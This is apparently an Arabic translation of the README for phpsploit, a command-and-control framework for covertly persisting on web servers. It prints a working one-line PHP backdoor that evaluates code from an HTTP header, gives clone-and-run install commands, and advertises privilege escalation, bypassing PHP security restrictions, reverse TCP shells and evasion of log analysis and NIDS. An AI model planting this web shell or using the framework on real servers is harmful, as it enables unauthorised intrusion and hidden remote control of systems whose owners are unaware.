phpsploit

إطار C2 كامل الميزات يستمر بصمت على خادم الويب
عبر سطر PHP متعدد الأشكال

codeclimate maintainability

نظرة عامة

يتم الاتصال المشفر باستخدام رؤوس HTTP ضمن طلبات العميل القياسية واستجابات خادم الويب ذات الصلة، عبر باب خلفي متعدد الأشكال صغير الحجم:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

بدء سريع

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

الميزات

• فعال: أكثر من 20 إضافة لأتمتة مهام رفع الامتيازات

  • تشغيل الأوامر وتصفح نظام الملفات، مع تجاوز قيود أمان PHP
  • رفع/تنزيل الملفات بين العميل والهدف
  • تحرير الملفات البعيدة عبر محرر نصوص محلي
  • تشغيل وحدة تحكم SQL على النظام الهدف
  • إنشاء صدفات TCP عكسية

• خفاء: الإطار صُمم بواسطة مرتابين، من أجل مرتابين

  • غير مرئي تقريبًا لتحليل السجلات وكشف توقيع NIDS
  • وضع الأمان وتجاوز قيود أمان PHP الشائعة
  • يتم إخفاء الاتصالات في رؤوس HTTP
  • يتم تشويش الحمولات المحملة لتجاوز NIDS
  • دعم بروكسي http/https/socks4/socks5

• مريح: واجهة قوية مع العديد من الميزات الحيوية

  • تعليمات مفصلة لأي خيار (أمر help)
  • عبر المنصات على كل من العميل والخادم
  • واجهة CLI تدعم الإكمال التلقائي والأوامر المتعددة
  • حفظ/تحميل الجلسة وسجل دائم
  • دعم طلبات متعددة للحمولات الكبيرة (مثل الرفع)
  • يوفر محرك إعدادات قوي وقابل للتخصيص بدرجة كبيرة
  • كل إعداد، مثل user-agent، له وضع متعدد الأشكال
  • متغيرات بيئة قابلة للتخصيص لتفاعل الإضافات
  • يوفر واجهة برمجة تطبيقات كاملة لتطوير الإضافات

المنصات المدعومة (كمهاجم):

• GNU/Linux
• Mac OS X

المنصات المدعومة (كهدف):

• GNU/Linux
• شبيهات BSD
• Mac OS X
• Windows NT

المساهمون

نشكر هؤلاء الأشخاص الرائعين:

يتبع هذا المشروع مواصفات all-contributors. نرحب بجميع أنواع المساهمات